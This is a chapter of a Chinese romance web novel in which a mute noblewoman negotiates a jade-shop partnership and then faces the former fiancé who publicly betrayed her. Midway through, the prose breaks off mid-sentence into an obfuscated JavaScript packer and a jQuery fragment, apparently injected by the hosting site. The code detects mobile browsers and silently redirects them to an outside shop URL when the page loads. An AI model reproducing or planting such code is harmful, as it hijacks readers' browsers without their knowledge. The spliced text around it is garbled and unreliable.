16. 第十六章 谢琛

作品:《引春光(先婚后爱)

    易鸢思考一番,朝她做手势。


    一旁安静站着的小四等易鸢有所动作,随即出声,“如此甚好,但她有几个条件。”


    方清雨欣然一笑,问:“是何条件?”


    易鸢手上的动作不停,动作十分迅速,在场不懂手语的只有方清雨一人,她全然不知易鸢的意思。


    冬青虽看得懂手语,考虑到小四在场,她便保持沉默,从跟着上楼到现在未曾吭声,默默听两人谈话。


    “首先,铺子得开在西市,铺面不说得有多宽敞,但她必须拥有一个独立且不狭窄的雕玉室,室内隐私性较好,不会被进出商客观赏叨扰。”


    “其次,除去商客要求的定制单以外,寻常售卖的成货怎么做,如何做,都由她说了算,她不接受不必要的建议,通常按照自己的喜好去雕刻。”


    方清雨听罢,眉头紧锁,犹豫道:“后两个好说,但......这第一个条件......西市的商客都是些市井人家,怕是没几家人买得起玉制品。”


    “为何不立在东市?东市更有受众。”


    易鸢摇摇头,继续做手势。


    小四说:“东市虽然更有受众群,但据她了解,东市光是玉制首饰铺便有十余家,别说其他制品,况且,玉轩阁早已垄断东市大部分玉器市场,那些商客放着自己熟悉且有保障的大店铺不去,为何跑来一家岌岌无名的小铺子?”


    这倒也是,方清雨想。


    “西市的商客虽大多是市井百姓,但开市时人流量是东市的几倍,整条街的玉器店寥寥无几,那些百姓不是对繁华精美的物件不感兴趣,而是消费能力不允许他们这般挥霍。”


    “豪门大户追求价高难寻的精致物件,平民百姓却喜欢物美价廉的东西。那何不换个思路?用高等料子雕刻出来的玉器来服务有钱的贵胄,用中低等的玉料雕出做工精美的玉器来吸引平民百姓购买,如此既满足价廉,又当得上物美。”


    “若是能打开西市市场,挣点名气,届时在东市开家分店不成问题。”


    听完此番话,方清雨神情较之前相比,有很大的变化,她没想到,一个从小含着金汤勺出生的世家小姐有如此经商头脑,到令她有些以外。


    她倒是觉得,这个合作伙伴找得十分正确。


    负责转述的小四一边讲,同时自己也听在心里,此时在内心感慨,果然是楼主重视的客人,这样不一般。”


    方清雨朝她投出欣赏的眼神,大笑道:“易小姐这般聪慧过人,先前是我小看小姐了。你的提议我记在心里,容我思考几日,顺便在西市挑挑地段好的铺子,期间我们保持书信通畅。”


    易鸢点点头,朝她作揖礼。


    冬青扶着她,转而朝方清雨道:“那方小姐今日便到这,夫人须得早些回府。”


    “好说。”


    在玉轩阁待了些时辰,出来时天色不再如先前那般明亮,余晖慵懒地洒在高大的楼阁之上,散发出暖橙色的光芒。


    与方清雨作别后,两人转过身,陡然看见那两抹熟悉的身影。


    一男一女牵着手站在楼前,身后停放着一辆精致的马车,顶棚上挂着一个牌匾,上面印着一个端正的“谢”字。


    那是崇安谢府的马车。


    易鸢一顿,她的大脑仿佛被炸开一般,空白了三秒。


    眼前这个面如冠玉,身着深蓝色长袍的尊贵男子,便是那日当众悔婚,让她再度沦为京城笑柄的人。


    “易小姐,好久不见。”


    谢琛注视着易鸢,笑容可掬。


    确实好久不见,易鸢平静地对上他的目光,再看看一旁千娇百媚的女子正得意地笑着,她只觉得可笑。


    易鸢十四岁那年,易荣为她谈下一门亲事,对方家世显赫,相貌出众,言行有礼,待人态度温和,起码世人是这般描述的。


    受尽冷落的她原本对这桩婚事不甚在意,只当作是易荣想等自己及笄之时好送出易府的由头。


    初见,易鸢对他十分冷淡,常常拒绝回答他绞尽脑汁抛出的话题,让谢琛一个人难堪,此后又做尽表面功夫,客套地回应谢琛的一切邀约。


    而谢琛仿佛不在意一般,常常约她坐于竹亭内,自顾自地分享一连串的趣事,对她嘘寒问暖。冬日京城飞雪,他为她寻来上好的银狐绒做褙子,见她常在后院观梅,他便折来梅花亲手为她做个真花木簪。


    即使两个月过去,易鸢依旧对他提不起兴趣,他仍然保持热忱,几次三番登门拜访,送各种美食首饰,逗她开心。


    她被府上下人议论,他便大声训斥这些奴仆,有一天他捧着易鸢的手,满目柔情地告诉她:“鸢鸢,你这么善良可爱,我不保护你,以后受欺负了该怎么办啊。”


    渐渐地,她被他日复一日的真诚所打动,她发觉自己对他产生了些许好感,开始放下防备,努力回应他的热情。


    婚期已定,两人恩爱有加。


    那时的易鸢一度天真地认为,自己过了这么多年苦日子,终于有了回报,谢琛就是那个带着暖阳来温暖她的人。


    可她错了。


    他大概没料到,一个不受宠的哑巴竟破天荒能去参加晏宁沈府的满月席。


    未到用膳时间,易鸢百无聊赖地走在沈府庭院内,听闻沈府后院连着一片婆阳湖,水色碧绿,四周荷叶遍布,十分美丽。她乘着夜色徐徐朝湖边走去。


    四下无人,安静得只听见脚踩在雪面上发出“嘶嘶”的声响,寒风冷冽地拍打在她脸上,将她白皙的脸蛋刮得泛红。


    易鸢漫无目的地顺着湖走,前方传来悉悉索索的对话声,直到那女子娇嗔的声音清晰地传入她的耳朵里,她这才慌忙止住脚步。


    不小心撞破他人谈情的她想要快速离去,却忽然听见那男子语调轻佻地说:“月儿,你抖什么?”


    那声音易鸢再熟悉不过,明明上午那声音的主人还温声细语地在她身旁讲笑话逗她开心,现下却暧昧地抱着另一个女子呢喃。


    湖畔柳树下,谢琛紧紧环抱着棠月,用鼻尖轻抚着她的脖颈,他左手托着棠月的后脑,温柔地吻上她的唇,情到浓时逐渐发狠,引得她发出轻喘息声。


    冷风将落叶掉尽,只剩下单薄枝条的柳树吹拂起来,堆积在上面的细小雪堆随


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263058|197722||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    之掉落,砸在地下。


    易鸢眼眶红润,视线逐渐模糊起来,她没想到自己的未婚夫竟在湖边和另一个女子深情拥吻。


    她多么希望眼前的一切是一场噩梦,待自己醒来,他还是那个温柔体贴的谢琛。


    可这是事实,他的未婚夫就是这般做了。


    三年情谊,究竟有几分真,几分假?


    易鸢不愿再看见这光景,她用力摸了摸泪水转身走去,身上的褙子不慎碰到一旁的雪松,发出不小的声响。


    谢琛快速反应过来,别开头看向远处的女子,冷声询问:“谁在那!”


    被喊住的易鸢双脚如驮千金,再也迈不出一步。


    背后两人两手相牵朝她走来。


    他平静道:“鸢鸢,你都看到了?”


    易鸢泪如玉珠般下坠,她不愿让谢琛看到自己这副狼狈的模样,始终站在原地不曾转身。


    “我对你早已厌倦,或者说从未喜欢过你,都是逢场作戏罢了,你既已知晓,婚约便取消吧。我每日要对着你那张毫无生气的脸说些违心话,真嫌膈应。”


    逢场作戏三年吗?


    “易小姐,阿琛他喜欢的是我,姻缘不能强求。”棠月握住他的手又紧了几分,颇有歉意的说:“你不过家世好,阿琛才会娶你,但因为你的性格,他实在是不想强求下去了,易小姐你也别怪他。”


    易鸢压下情绪,用手重新抹掉脸上的泪水,转头给他们一个冷漠的笑。


    “易小姐,上次见,还是在冬季。”


    棠月的一句话将易鸢的思绪拉回来,此时的她再次见到两人并肩手牵手站在自己眼前的样子,平静了许多。


    是啊,那时赶上凛冬,冻得易鸢心灰意冷,如今三个月过去,春和景明,留给易鸢的只有和煦春风。


    她承认十多年来,谢琛确实是她唯一心动过的男子。


    当夜的光景历历在目,易鸢回想了无数次,心如刀割,痛着痛着就想通了,后来的某一日,她突然心情愉悦,不再为此神伤。


    易鸢要感谢谢琛,感谢他在她少女怀春时狠狠给她上了一课,让她刻苦铭心地记下经历过的痛楚,让自己懂得真情的虚伪。


    值得庆幸的是,她与谢琛相伴三年,却未有过肌肤之亲,反而借他之耳,听到了一些她从未听过的趣事,为自己枯燥无趣的生活增添几丝韵味。


    看清一个人的感觉真好。


    易鸢仪态大方,她站在台阶上俯视着两人,嘴角牵起一抹讽刺的笑。


    “易小姐笑什么?月儿想问问姐姐,成婚之后过得可算舒心?”棠月弯着眉眼,柔声道。


    她放开谢琛的手,转而双手圈住他的手臂,两人看起来更为亲昵。


    周边行人见这场景,纷纷围了过来。


    眼前这三位主人公可都是京城出了名的世家子弟,东市的行人大多与他们为一个圈子的人物,对于他们之间的传言略知一二,原配和插足者为爱争宠的戏码,这些爱看热闹的人自是不能放过。


    易鸢想越过他们离去,耳边却传入温润如玉的嗓音。


    “她过得很好。”